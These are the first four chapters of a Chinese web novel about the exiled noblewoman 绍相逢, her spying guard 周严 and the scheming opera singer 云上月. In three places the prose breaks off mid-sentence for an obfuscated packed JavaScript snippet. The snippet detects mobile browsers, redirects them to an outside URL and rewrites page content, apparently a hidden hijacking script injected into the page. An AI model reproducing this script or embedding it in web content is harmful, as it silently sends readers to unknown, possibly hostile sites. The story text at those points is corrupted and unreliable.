《今天有更恨我吗》 1. 再重逢 三天前,书房。 “就是她么?” 云上月站在桌边,笑着反复确认:“你是说让我杀了——” “绍、相、逢?” “当然。”女人严肃道:“京城来信,说她是【最危险】、【最会伪装】的一个隐患,务必铲除。” 女人已在暗处与那绍相逢交手过多次,可以用自己的身家性命担保对方绝不是个简单的人物,也不像上头所想是个好处理的对手。 她讽刺道:“上头居然蠢到认为一棵破竹子就能搞死她?好笑。” 云上月有一搭没一搭听着,手里拨弄着女人口中那株小小的文竹。 女人继续道。 “倘若失败,就借机安插一人潜伏在她的身边,待可乘之机,一击致命。” 一击致命? 这四个字仿佛让他联想到什么有趣的场面,他心情大好,说:“你是不是想说:我是这个世界上最合适的人选?” 他缓缓开口。 “因为只有我最了解她的弱点,知道她的苦衷,最重要的是——” “我们还曾互诉过衷肠。” ——— 绍相逢被流放边城十多年,成天就是听戏写曲,从来没有对任何人发过脾气,除了今日。 没有人知道是为什么。 起因是她看见桌上养了几年的小竹子被倒卖了。 其实这并不是什么大不了的事情,可绍相逢当即叫来了周严,让他处理掉看养竹子的小厮。 因为只有她知道,那瓷盆土中藏有秘密。 一个立刻就能害死她,且足以掀起朝堂上千人腥风血雨的秘密。 周严不明其中关键,只知道小姐不高兴,这很严重。 于是他小心地询问。“小姐,怎么处理?” “问清楚竹子去哪了,然后把他赶出去。” 绍相逢此时正在慢条斯理地拨弄香炉中的炉灰。 她不着急。因为她深知,棋局中,越心急的人,越没有活路。 看那香炉实在漂亮,黄铜色炉身,瓦蓝镂空盖。 用火燃上香,她轻轻吹去了橙红色的火焰,两指捏住盖子边缘,扣在香炉顶,一缕灰烟析出,无声缓慢地升腾。香气扩散开来,融化在空气里。 周严听见此话,并无异议,转身离开了。 月光打在悠长的回廊,他行色匆匆,手永远搭在腰间佩刀上。 衣摆带起一阵微风,不消片刻便从偏房中提溜着小厮的后衣领,将其丢在了院中。 小厮有些茫然无措,他连滚带爬地向周严求饶。 “大人,大人,小的这是犯什么事了?有话坐下来慢慢说,小的给您斟一杯上好的肉桂茶去!” 周严低头看着腿边的小厮,正要向他解释,被人打断了。 闻声望去,竟是绍相逢抱着胳膊倚在回廊的木柱上,懒洋洋开口:“听说你倒卖了我的竹子,所以我要将你赶出去,有异议吗?” 府里没有管家,所以平日这些琐事都是周严在管。再加上绍相逢常年在外,所以底下这些人瞧她面生。 一个年纪轻轻,温声细语的女孩,天然是没有威慑力的。 小厮横她一眼,瘪了嘴。 绍相逢扫一眼那些出来看热闹的小厮们,都挤作一团站到周严身后不远处,还有零星几个才睡醒,从屋中走出来观望发生了什么事。 云游到家的第一天,府里竟发生了这么严重的事情。 绍相逢火气不打一处来。一是气自己的东西被下人随意卖掉,二是气这个家里没有一个人拿她当回事,都好像把侍卫周严当作主人了似的。 她蹲下身,平视着那小厮,慢慢道:“你知道害怕么?现今外头妖兽猖獗,若出去被盯上了,连下个月都活不到。” 小厮的神情由刚才对周严的恐慌转成对绍相逢的不忿,怒从中来。知道这一切变故都由于这个女人的出现,所以不服气地瞪视着她。两个鼻孔翕动,比牛眼还大。 其他人还当绍相逢吓唬他,抱着看热闹的心态在后面起哄:“李五要翘辫子喽——” 这样一番鼓动,让小厮更加生气,他鼓起眼珠,嘴中酝酿。 终于找准时机,一抻脖子,面色红如鸡冠,猛地朝绍相逢吐了一口唾沫。 “呸!” 绍相逢沉默了,周严沉默了,他身后攒动的人群也安静了。 ...... 所有人的目光都集中到绍相逢脸上,只有绍相逢不动如山,目光直直看着那叫李五的小厮。 死一般的安静。 ...... 绍相逢抬高眉头,无所谓地眨了下眼睛,接过身后周严递来的手帕,抹掉脸上的唾沫星子。 李五怔怔地看着她。 她向李五露出一个慈母般的笑,温柔到让他浑身发毛。 在大家都沉默的片刻间,她起身、转头。 突然对着身后的周严抬手就是一巴掌。 一气呵成。 周严没有停顿,立刻低头,单膝跪下,道:“属下失职。” 绍相逢淡淡地俯视着他,什么也没说。 周严身后的小厮们紧张起来,默默地从周严身后以微不可见的步频挪动到绍相逢身后。 任谁也能认清楚,究竟哪个才是这座府邸的主人了。 周严不敢再让气氛僵持,低头起身,擒住那小厮,硬是压低了他的头,让他说出那竹子的去处。 那小厮眼珠转了一圈,还想狡辩,瓮声瓮气道:“明天去街市上寻寻咯,竹子嘛,很常见的......” 周严厉声打断:“你卖给谁了?” “一个戏子,叫云上月。”小厮答道:“他说瓷盆底刻了咱的府章,他很喜欢,出一两黄金买去了。” 绍相逢不急不气,低头心不在焉地打量着自己的指甲。 听到他提起‘云上月’那个名字的时候,玩指甲的手停了停,也没有太大反应。 她只说:“那竹子是我母亲受了圣上赏赐,特地从京城千里迢迢给我运来的。且不说这中间耗费了多少金钱,就说人力吧,用了多久?又添了怎样的材料,才让它活着来到这天寒地冻的锡水?” 绍相逢每说一句话,小厮脸上的表情就白一分,等到她说完了,小厮浑身也就被冷汗浸透了。 “你要不试试,去街市给我再找来一株?” 小厮一边大叫着''饶命啊!饶命啊!'',一边手脚并用地爬到周严脚下,脸上已然一把鼻涕一把泪了,仍认为周严能够救他。 “小人家里还有两个孩子等着喂养呢,小的现在不能死啊!大人饶命啊!” 周严弯下身,沉默地钳住小厮的胳膊,把他拽起来。双手反剪在身后,将他推在前面。 那小厮莫说是不敢反抗,就算借他几个胆子,他也压根不可能与周严抗衡。 二人就要往门外走,绍相逢摸摸鼻子,''哎''一声,探出手。 “慢着。” 周严停下动作,那小厮也被迫停下了,等着绍相逢开口。 此时周围那群看热闹的下人,有几个能看明白的,趁这个功夫透着搡那小厮,低声道:“你快向她求情。” 小厮回头看看周严,又看向绍相逢,才要说点什么。 那女人用指尖敲敲脑袋,仿佛是才想起来,道—— “对了,我那肉桂茶也是个稀罕物什,刚才你说要给他沏茶?”绍相逢一指侍卫周严,问道:“是谁给你们惯出的毛病?”她扫一眼周严,拿话点他:“泔水拿给主子,宝贝拿给下人,是不是?” 众人愣怔间,周严又低下身去,道:“小姐恕罪,属下不敢!” “你不敢?你有什么不敢?”绍相逢轻飘飘道:“你多厉害呀......” 周严认真,立时起誓,道:“属下从未动过府上的一分一厘。” “真的么?” “属下所言,句句属实。” 绍相逢木着脸瞧他,他也认真回看绍相逢。 两相对峙着。 半晌,直到周围看热闹的下人发出细微的躁动声,绍相逢才忽然变了脸色,笑眯眯的,又改了口:“你这是说的哪儿的话,谁说你动这府上的东西了,我也只是提醒你而已。” 旁人见识了这女人的厉害,心里都替周严松了口气,只有周严沉默不语。 他知道绍相逢绝非随口一提,是真的在提醒他,不要太逾举。 今晚那小厮根本没有将绍相逢放在眼里,反而把周严看作了主子。如果仅仅是这一点惹得她不快,或许还没有那么严重。 至于其他事......周严认为小姐一直对自己有所不满,只是她从来没说过,自己也不可能主动提及。 “好了,别耽误了,快去吧。”绍相逢一摆手,便要指挥他们走了。 小厮一听这话,知道自己彻底没有回转的机会,面如死灰地被周严押了出去。 绍相逢站在人堆外,听他们闹哄哄地议论。 远远看着周严押送小厮的背影,冷笑一声:“装模作样。” 她沿着走廊离开了,只隐约能看到一道飘飘荡荡的白绸。 · 府邸大门外。 “大人,您饶了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314028|152367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,”小厮扒着周严的衣袖可怜道:“现今外头妖怪正闹得厉害,小的出去怕是没有活路了。” 周严默然,他对现在外头的状况并不抱任何乐观的态度。 锡水偏远,临近妖域,无法压制的妖兽自从前月和居民起了冲突后,最近愈闹愈凶,看着像是战事将起的样子。 周严从怀中摸出几两银钱,这已是他最大的好心了。 银钱与一张纸一并放进小厮手心,周严说:“你走吧,卖身契也还给你了。” “大人!您这是见死不救啊!”小厮声泪俱下,立刻把银钱推回周严手里:“现在在外面的流民中间,银钱早已不流通了,您给小的这些东西,还不如给二两毒酒来得痛快......” 周严觉得手中沉甸甸的,话语却哽在喉头,他转回头,任凭小厮哭嚎,关上了大门。 回去的路上,周严路过绍相逢的卧房。 按理这个时辰小姐早该洗漱睡去了,但房中灯火通明,周严皱起眉头,停下了脚步。 咚咚—— “小姐,您睡了么?” 他的耳朵贴在房门上,听不见任何声音,于是又抬手去敲门。 “滚出去。” 屋内传来绍相逢平静到冰冷的低叱。 周严犹豫了片刻,最终还是推开了房门。 他站在门前,瞧这屋中光景,忽然不知所措起来。 反倒成了离开也不是,留下也不好的尴尬处境。 “小......小姐,这、我......” 周严想要说什么,又噤了声。 “满意了么?”绍相逢漠然:“看够了就可以滚了。” 他还要解释:“不......不是,小姐,您......” 最终话语止住,他看见—— 火光在她面前摇曳,绍相逢却没有表情,坐在桌前无比板正。泪珠如同滚珠线,一大颗接着一大颗。无声的,安静的落下。 她眼中倒映着竹叶枯黄的影,密密匝匝的叶,像一丛野草。 在周严的印象里,绍相逢向来对旁人都冷淡到有些不近人情。说她是富贵人家的小姐,大部分时候都不太贴切,她反而更像市井泼皮。 这是他头一回看见绍相逢哭泣。 周严电光火石般闪过一种可能性,尽管不相信,可除此之外别无他选。 小姐在为那颗竹子哭泣? 【那竹子是我母亲受了圣上赏赐,特地从京城千里迢迢给我运来的……】 周严想起了方才她说的话,脑中弹出一种可能。 她想家了吗? 就在周严思考如何劝慰的空档,绍相逢早已轻巧地用衣袖拭干了泪水,看上去就像从未哭过一样。 看着周严发怔,她已然知道对方在想什么了,微不可见地勾起了嘴角,乘胜追击道。 “母亲和父亲近期可有来信?” “罢了……”绍相逢起了势,声音却突兀地弱下去,她一瞥窗外人影,换了个语气,冷言冷语道:“罢了,反正我也没想着给他们写信。没什么好说的,家长里短的我也不会应付。” 周严跟着注意到了窗外的人。 那影子在窗边一晃而过,他却没有追去。绍相逢身边时时刻刻都有这些探子,十年以来都是如此,陛下派人方方面面地监视着绍相逢的生活。 周严只能在自己的职责范围内,肤浅地安慰她。 “小姐不妨换一种思路,没有消息便是最好的消息,这代表他们一切平安。” “是么……”绍相逢的目光有些飘忽,她再看向窗外监视她的影子,也不知人究竟离开了没有。终于转回视线,漠然道:“他们对于我来说也是无所谓的,十年没见,和陌生人有什么区别?” 周严与她对视,知道绍相逢是故意说给窗外人听的反话。 绍相逢手里忙活个不停,好像她真的如她所说一样豁达。一边收拾着桌案,一边又接着道。 “我不在乎他们。” 她抬起头,停下了所有动作。周严听她的语气依旧是轻佻的,我行我素的。 好像这世界上只有她理所当然对不起的人,没有人敢对不起她一样。 周严看着她用冷淡的表情,说出最漠然的话语,不敢相信自己看见了—— 她的左眼有一行清泪划过,顺着脸颊一路落下,''啪嗒''一声,落在了地上。 他抬起手,想要替她擦去泪水。忽然有觉到这种行为不敬,只好放下去,垂着头,不敢再看她。 “我……”周严察觉自己的声线发抖,清了清嗓子,哑声答:“我知道。” 2. 再重逢 绍相逢的眼珠定定地转到周严身上,好笑道:“你知道什么?” 她实际想说:干什么假惺惺的,你不才是皇帝最得意的探子吗? 周严无措,想起自己还有许多琐事没有呈报,咳嗽两声,转了话题。 “小姐,门前有个身份不明的男人,昏迷了许久了。” “你从什么时候知道的?” “一刻前,打发那王五的时候看到的。” “胡闹!”绍相逢低斥:“快领我去。” 前院中许多守卫在巡夜,看见绍相逢,都是点点头,没说话。 周严赶了上来,尽职地跟在小姐身后。 站在正门前,绍相逢先停下了。周严快步替她拉开大门。 吱呀——— 绍相逢还是没有往前走,站在门前。 周严侧着身,等候着,许久,小姐始终没有动静。 绍相逢垂眸,门前的地面泥路上有一块黑色团子,两侧高悬的灯笼昏暗,吊着那影子更长了,一条飘忽的延伸像远处的河流一样。 一个看不出死活的男人躺在门前。 “他死了么?”绍相逢抬眼,漠然问:“死了就给我拖走埋了。” 周严上前一步查看,一探鼻息,答:“没有。” 绍相逢狠狠''啧''一声,将手上灯笼递给周严,上前去探地上人的鼻息。 确实还活着。 绍相逢掰过他的脸一瞧,竟还是熟人。 看样子今日走霉运,绍相逢心想,于是埋怨了句:“耽误事。” 绍相逢转身进门叫人来把门前的男人拖进去。 不多会,她看见院子里的守卫忙碌地进进出出,绍相逢负手立在一旁,不知道在思考什么。 周严汇报来说,受伤那人已然醒转,虽然身上看不出多少伤痕,却一直说胡话。他们这些人看不出其中门道,还是要找大夫。 绍相逢挥挥手叫他下去,屏退了瞎忙活的那群人,自己走进客房。 烛火幽微,绍相逢大步流星,关门时带起一阵风。 “云上月!”她不耐烦道:“你别给我玩装疯卖傻那一套,快还我竹子。” 被喊到名字的人躺在床帷里,没有丝毫动静。 绍相逢顿了顿脚步,还是上前掀开了帷帐。 床上的人唇色泛白,身体止不住发抖。 皱起眉,绍相逢所有的脏话都停在嘴边。 她还记得云上月在戏台上不可一世的样子,两三年不见,如今怎么落魄成这个鬼样子? “你别死在我前头。”她说。 绍相逢的话稍微软下来一点,坐在床沿,问:“怎么回事?” 安静片刻,没有得到回复。 绍相逢狠狠推了推他,又问:“再不说话我把你丢出去了。” 云上月不应声,片刻后,绍相逢听见了他的呼吸声变得均匀了许多。 这么快就睡着了? 绍相逢骂骂咧咧起身,本应要走,想想却还是不放心,留在了距云上月一米处的茶几边。叫周严来沏了一壶茶。 折腾了这么久,绍相逢忽然闲下来,感觉浑身疲乏,只能硬撑着。 沉闷的一个声音忽然从犄角旮旯蹿进了绍相逢的耳中。 “相逢......相逢,我死后,你一定......” 知道这是云上月的声音,他的身体稍微有所好转,但声音还是虚着的。 绍相逢挑眉,听出他话中嘱托的意味,没想到他竟然有点良心,这是要将财产托付给自己了? 谁知等来了云上月的一句。 “你一定要替我复仇,那是一只为非作歹的狐妖......我没什么钱财傍身,只好来世替你做牛做马。” 没钱,复个屁仇。 绍相逢恨恨想。 不过好在他醒来了,绍相逢也不再追问。 “你安心在我这养伤,其余事都不用操心,我给你找最好的大夫医治......” “没用的。”云上月打断她,神色平静,道:“我中了妖毒。” 气氛一下凝滞住了。 妖族为搅乱锡水,在锡水藏了许多死士,随机杀死了很多平民。它们将毒抹在刀口,这样一来,就算侥幸逃脱也无法活下去。目前没有医师能够解毒,于是人心更加惶惶。 他们唯一知道的是:患上妖毒的人必死无疑。 “哈哈,”绍相逢大笑,道,“你要是先下去了,记得给我探探路。不过记得先还我竹子。记得吗?就是那个叫王五的小厮卖你的竹子。” ......。 正巧周严周侍卫进来添水,听到绍相逢的话,端着倾水的壶身抖了抖,连带着水流也断断续续。 哪有这么说话的.......。 没料云上月垂下视线,不知想到了哪去,竟然被逗笑了。 “好。” 周严不明白他们这是什么相处方式,只听小姐又说:“你若是死了,那些破事,我是不会帮你解决的。” 云上月收起了笑容,他打量着周围的陈设,又看看坐在远处的绍相逢。 就这么两相对坐,谁也不知对方心里转着怎样的心思。 “你脾气变了。”他忽然说。 “嗯?”绍相逢一时没听明白。 “原先你一定会追问我去过哪里,经历了什么。答应下我的嘱托。一定还会去费心费力地找解药,旁人拦也拦不住。”他有些好笑地看着绍相逢:“现在你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314029|152367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概没提,甚至我唯一的遗愿都不想帮忙。” 他在埋怨,偏用了开玩笑的方式。 绍相逢只是笑,并不说出自己的处境。她现在已经没有精力,也不想去替别人操心些什么了。 看绍相逢不耐烦,他又替自己解释:“别误会,我这趟来可不是为了自己。” 他撑着起身,还穿着素白的里衣,若隐若现透着肩颈的线条。太单薄了。 张嘴还要说话,话到嘴边忽然皱眉,用手挡着,向旁边侧头,咳嗽了两声。 绍相逢打断他的话,叫人来给他搭上件披风。 云上月撑着身子,由着周严替他披上外衣,眼神暗了暗。 他对绍相逢说:“你倒是细心。” “绍相逢,我活了这么久,除了你以外还从没见过谁这么心善。” 绍相逢没觉察出话里的意味,只是觉得好笑:“心善?” 云上月自嘲地点头,转了话题,道:“我这回病倒了,倒是无所谓,本身就是来去自由的孤家寡人。你不一样,绍相逢。” 他叫了声绍相逢的名字,绍相逢愣愣抬头,对上他似笑非笑的视线,看不懂其中的意味。 “你还有家人,十年不见,想他们了吗?” 绍相逢听见‘家人’二字,立刻警觉起来。毕竟身边全是皇帝的人,她不想谈论任何有关‘京城’和‘家人’的敏感字眼,以免让陛下以为自己还惦记着回到那里,抑或有任何威胁他天子权利的举动。 想让云上月住嘴,却被他打断。 “我给你带来了一个好消息。” 她心跳得厉害。 一种不好的预感。 “有个女人找到我,见过那棵竹子后,说:我知道她,那个四处流浪的纨绔子。她真是太不小心,落在了我手里。是不是安逸太久,已经忘记警惕是什么了?” 云上月笑着看她,问:“你知道我在说什么吧?你也很着急吧?” “她说她认识你,能让你回到京城。” 他笑得眯起眼睛,接着又猛烈咳嗽起来,咳出了血,血落在被单上,晕开了。 云上月瞥了一眼周严,完全不在意被他和其他探子听去,继续回到正题。 “她说能让你回到京城。” 云上月又重复了一遍。 绍相逢的心脏哆嗦了一下,袖摆下缓缓攥紧了拳头,妄以平复怒气。 在场所有人都明白这几句话意味着什么。 回头瞧了一眼周严,周严立在一旁,并没有什么表情。可他是小皇帝安插在绍相逢身边最好用的一枚棋子,这句话很快会传进陛下耳中。 她很快平静下来,淡淡笑着,讽道:“云上月,你想让我早点陪你去死大可以直说。” 3. 再重逢 周严注意到了绍相逢的视线,他愈发安静。 这个时候他不能说话,更不能有任何反应。 云上月就这么安静地看着她,不知道是不是绍相逢的错觉,她甚至从中看出了一丝期待。 他问:“你会死吗?” 明明语气没有任何变化,绍相逢却听着陌生。他们三年没见,刚才的叙旧拌嘴丝毫没有让她察觉到不对。 绍相逢回想了一下今天云上月的所作所为。先是在自己的家门口倒下,接着周严说云上月一直在讲胡话。可自己自从看见他后,他的每一句话都像是经过精心设计了似的。 当得知云上月刻意买下了那颗竹的时候,绍相逢本以为是多年不见,他还是像原先一样无聊,用这种方式告诉自己他来到了锡水,想给自己开个玩笑。但从目前的发展看来,更像是他不知道从哪处得知了消息,故意做局让自己跳进去。 现在又强调说什么:因为这棵竹子,有人可以让你回家。 假使陛下已经得知绍相逢有回家的可能,那么无论她如何解释,都甩不脱自己的嫌疑。 这根本就是说给周严听的,或者说—— 他是说给陛下听的。 捋顺了逻辑后,绍相逢认为处处都存在疑点。 云上月的目的绝不仅仅是想要她安全地回家。 他想要自己死。 绍相逢瞬间警醒,她在不知不觉间已经被人牵着鼻子走了。将目光再转回到云上月身上,脸色已经变了。她没有想到,往日无话不谈的故人,一转眼就算计到了自己身上。 “你与我可从无冤仇。”她说:“三年前,还是我曾救你一命。” 当日也是如今日一般,云上月在夜中倒在绍相逢面前。 那时绍相逢对于此人的经历毫无所知,竟也带了回家救治。 如今。 目光转回,云上月丝毫没有想要解释的意思,挑眉瞧着她。 “有你陪着我,黄泉路上一定不寂寞。”云上月思量着,笑意愈发浓重。 绍相逢定定地看着云上月,脑海中闪过无数质问,最终什么也没说,拂袖而去。 空留下大敞的房门在风中吱呀作响。 周严反应不大,一躬身,尽职尽责地对云上月道了句:“公子早些休息。” 云上月斜靠在床边,没有回应,目光落在晃悠的门边,绍相逢离开的地方,斜照进一缕月光。 寂蓝的,幽静的。 他的目的达到了。嘴角稍稍提高了些,尖利的弯钩一般,不再是方才的沉闷少年。他怪声怪气地哼笑一声,对周严说:“你们主子竟也挺聪明的。” 他的笑声愈发大了,咯咯声不止,像午夜鬼魅一般,从客房中传出,回荡在院中。院中松树随着微风轻颤,枝头停落的乌鸦拍拍翅膀,惊走了。 周严只觉背后发凉,想要赶快逃离这是非之地。一低头,快步离开了。 才踏出院门,听见那笑声凄凄凉凉,似乎转了调带出一丝哭腔。 那声音凄婉,幽幽起了调子。 “匆匆春去春又来。” “英台不是女儿身,因何耳上有环痕?” “梁兄啊!做文章要专心,你前程不想想钗裙!” “我从此不敢看观音——” 周严停下脚步,回头望向那间客房,残烛烧尽,漆黑一片。 他长叹一声,转身消失在了黑夜之中。 · 绍相逢回到了卧房,在桌案前坐下。周严敲了许多次门,她丝毫没有应声。 “小姐——” 周严径直推门而入。 他开门见山:“陛下一定会知道这件事。” 接着道:“您见与不见,陛下都会怀疑您有回去的想法,或者有其他什么想法。您知道的,陛下不会想让您回京。” 周严的意思是:陛下得知了她的动作,或许会在她行动前,先一步杀了她。 “你现在已经可以指挥我办事了是不是?”绍相逢问。 见周严不接合,她猛地拍了下桌,哐啷一声响,震得桌案上笔架抖了抖。 绍相逢听明白了,但不领情。 况且她无法断定周严是否听懂了云上月话中隐喻:竹子中藏有蹊跷。 她与周严明面上是主仆,实际却是两条心。 或许周严猜到了,但他宁可直接上报给陛下,也绝不敢来询问自己。 想到此处,她为了搅乱周严的思路,继续追问,话里话外根本就是拿着周严撒气:“你现在不需要我答应就可以随意进出我的房间了是吗?究竟我是你的小姐还是你是我的少爷?” 周严垂下头,道:“不敢,小姐。” 她冷笑:“要不往后就让我伺候您起居好了,反正横竖我只是个山野乡人。您不一样,您是尊贵的皇城影卫呀,是不是?” 绍相逢说着说着莫名真起了火气,她也知道,周严只是恪尽职守地在履行自己的职责而已。 倘若他瞒报些什么重要信息,那么死的便不是绍相逢,而是他周严了。 就算他有心帮忙,可要知道,秤杆的另一侧是自己的生命,任谁都该拎得清些吧。 周严听小姐出完气,冷静道:“小姐,这个人是谁影响到的不只是您,也不只是我。” 周严说得没错,只不过太过隐晦了些。 今日那人要她死,她正有此意,大可以一死了之,满足了别人心愿。 可他日若再盯上自己远在京城的双亲,他们又如何得以安好呢? 说着容易,可''安好''二字,对于他们这样的人家来说,实在太难。 念及此,绍相逢没法再有火气,哀叹一声。 周严看出她的心思,适时问道:“您可有什么线索?” 对于周严而言,先要查明了云上月,再将所有线索呈报给圣上。如果一切都没有问题,那顺理成章便能放下陛下疑心。 她目光垂下去,慢慢替周严缕清事情由来。 “我与云上月的过去,要从四年前说起......” 绍相逢讲述起了他们的故事。 如果这个故事拿给话本先生去讲,一定能赚得盆满钵满。 她愿意将其取名为:真假云上月。 因为在这个故事里,除了她以外,有两个云上月。 · 那时绍相逢还在潇山,她常去本地最有名的戏院子里听曲,和里面的人都算是点头之交。 “今夜云上月要唱祝英台,你们知道吗?” “云上月?他可是真人不露相,非是达官显贵还不接待呢!咱这种人怎么可能见到?” “去试试看嘛,见着就赚了,不见也不亏啊!” “走走走——” 几个男人的议论顺着窗缝飘进屋内,绍相逢侧耳听着,神思飘荡,一时不知想到哪里去了。 “绍小姐也要去看吗?”坐在绍相逢对面的男人开口问她,听不出语气。 面前的男人身穿淡青色长衫,没什么特殊,将该看的不该看的挡得严严实实。也没有搞那些个不入流的半透丝绢。看上去不像小倌,反而像个书生。 他与绍相逢对坐,中间还有一张屏风,模糊不清地揣测着客人的心思。 “不了。”绍相逢态度冷淡,道:“我对他们没兴趣。” 这句话是否有言下之意,就连绍相逢自己都说不清,底下似乎包含了‘我只对你有兴趣’这一层含义。 倘若她说给旁的小倌听,通常对方已经被哄得开心,不再追问了,可今日这个小倌不同。 “您真的不去吗?”他又再次问:“云上月是头牌,轻易不露面的。这回谁若是得了他的欢心,怕是往后都不愿再多看旁人一眼了。” 绍相逢脑袋半倾着,本来在听门外的闲言,听见他这话后转回了头。颇有兴致地隔着屏风瞧他。 “你想我去?” 她的话很简短,听不出喜怒。若现在对面坐着的是旁人,一定吓得立刻道歉了。 男人却只是低下头,修长的指尖又拨弄上琵琶弦,轻轻扫出几声不成调的歌。 “我怕您去。” 绍相逢闻言,笑了笑,不再说话。 那几声碎珠般的响声过后,逐渐在他指下凝成了曲子。房中能嗅到燃烧的草药香气,这也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314030|152367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人特地为她点的。 仔细听、仔细听......绍相逢整个人陷进这个舒适柔软的氛围中去了,哪怕这种惬意是金钱交易下刻意营造的,她也很久没有感受过这种完全放松的气氛了。 那个小倌很懂她。 他清了清嗓子,借着琵琶声,轻言软语地唱了起来。 “光阴如箭似水来。” “匆匆过了三长载。” “梁山伯——祝英台——” 绍相逢半眯着眼睛。男人起调时还觉得有些耳熟,等他唱到了第三句,绍相逢忽然睁开眼睛。 难听到已经听不出调子了,他却浑然不知。 她有些好笑地看着男人。 此人虽是个小倌,可唱曲并不好听。咿咿呀呀的,像小鸭子乱叫。只是凭长相,勉强在楼里混口饭吃。 但绍相逢还是耐心听完了,然后她说:“怎的想起唱祝英台了?” 三分正经,三分意在逗他取乐。 男人也知自己嗓子不好,垂下头,只说:“您不愿听就换一首,小人最拿手的还是......” 绍相逢打断了他:“继续吧。” 看对方还看着自己,又无奈补充。 “我喜欢的。” 一曲毕。 绍相逢捏起一块桂花糕放进嘴里,讶然于这桂花糕的清甜香气,问:“你自己做的糕点?” “是,”他颔首:“知道绍小姐自京城而来,想是赶路辛苦。小人曾在京城中待过半年,亲手学过这些。” 相逢点点头,心里记下,又特地多一句嘴:“先前忘了问,你叫什么?” 他老老实实答:“霁风。” “这么好听,是真名吗?” “不是。” 绍相逢没再多问,又在他房中待了一柱香,便离开了。 路上正巧有个小厮撞翻了酒,洒在了她的衣袍上。害得她又折回楼中,找了间房换好衣服,才从此地离开。 这一来耽误了不少时间。 街头熙攘着,绍相逢从侧门出来,看着人流从戏楼门前,直排到街尾牌坊外。她一边同旁人道''借过'',一边费力地挤出人群,竟没想到想要一睹云上月芳容的人这样多。 绍相逢向来不热衷凑热闹,更是讨厌这种喧嚷的地方,皱起眉,身后周严迅速跟上,替她开路。 “这就是云上月吗?”耳畔忽然有人小声讶异。 喧闹的人群安静了片刻,随着云上月的出场音量也变小了,他们也不再躁动,只是止不住地小声赞叹。 “好美......” 绍相逢被旁人的反应勾得好奇,费力地抽出半边被人群推攘的身子,回身去瞧了一眼。 云上月站在半敞开的高台上,水袖轻挑,身量纤薄。一行一动彷若兰花草新抽出的叶片,摇摇颤颤,好像一折既断似的。美则美矣,却太孱弱。 绍相逢回过头来,继续要走,耳边乍响出一声戏腔。 “匆匆春去春又来——” 那声音表面细弱婉转,里面可是攒着力量,直砸进心头。 绍相逢不由得停了停脚步。 人群一下变得安静,除了云上月一声声的曲外,没人在意其他。 没料得,绍相逢听着,忽然低低笑了一声。 方才被霁风唱得支离破碎的曲子现在听竟然是如此天籁。 这时她已经站在了人流外,没人在意,只是周严听得清楚,疑惑地望向她。 “没什么。”绍相逢含着笑,道:“我想到了另外一个人。” 他们二人走在回家的路上,长街逐渐空寂,前后都看不见半个人影。 约莫走了有半柱香的功夫,街旁河道里发出窸窸窣窣的响动,像夜里出门觅食的耗子,不过这声音更大一些。 周严警惕地走在绍相逢身侧,以免突然出现什么惊到小姐。 “救我......” 河道里传来清晰的人声,她动了动耳朵。 “......我是云上月。” 绍相逢挑眉,云上月这会不该还在台上唱戏吗? 这里怎的多出了一个? 4. 再重逢 绍相逢四下打量,周围空无一人。 她抱着胳膊,居高临下地俯视着云上月,他浑身湿漉漉趴在河道边,伤得很重。腹部汩汩淌出暗红的血液,洇湿了河道浅处的石子。 大约是刀伤,绍相逢心想,好狠的手段,这一刀下去,怕是要了半条命。这是多大的仇怨? 绍相逢这么想着,蹲下身,歪着头瞧他。 台上那个云上月脸上画了戏妆,且远远地瞧不真切。面前这个云上月脸上也有妆,被河水冲刷了大半,隐约能看清妆下清丽的面容。 此时若是叫来个曾经见过他的,或许就立时能分辨究竟谁是孙悟空,谁又是六耳猕猴。 绍相逢上下打量他,在脑海中盘算着。 ......就身段来说,倒是足够相仿。一样的瘦削。 云上月低低看着绍相逢的鞋尖,顺着想要往上看清女人的面容,可是撑不起力气。 “救我......” 他往前爬了一点,断续道:“求你,不要......报官......” 绍相逢眼中浮上一丝玩味,横伸来一只手,葱白的指尖捏住他的下颌,面颊被拖起,微微变形。 “你不让我报官,是不是因为什么见不得光的事情,惹上不该惹的人了?”她一针见血。 云上月本垂着视线,闻言转了转眼珠,直直看着她。 绍相逢毫不客气,手上更用力,捏着他脸颊晃了晃:“说话啊。” 云上月紧咬着牙,不吱声。 绍相逢乐了,把他现在的处境剖析清楚:“还不知道吧?现在戏台上早已有人代替你了,与你生得一模一样。” 绍相逢看着云上月惊骇的眼神,进一步道:“只要现在你求求我,我一高兴,说不定顺手也就救了你。” 以云上月现在马上就失血而死的状态,他看见绍相逢应该是拼命求着她带自己走,因为这是目前唯一的救命稻草了。 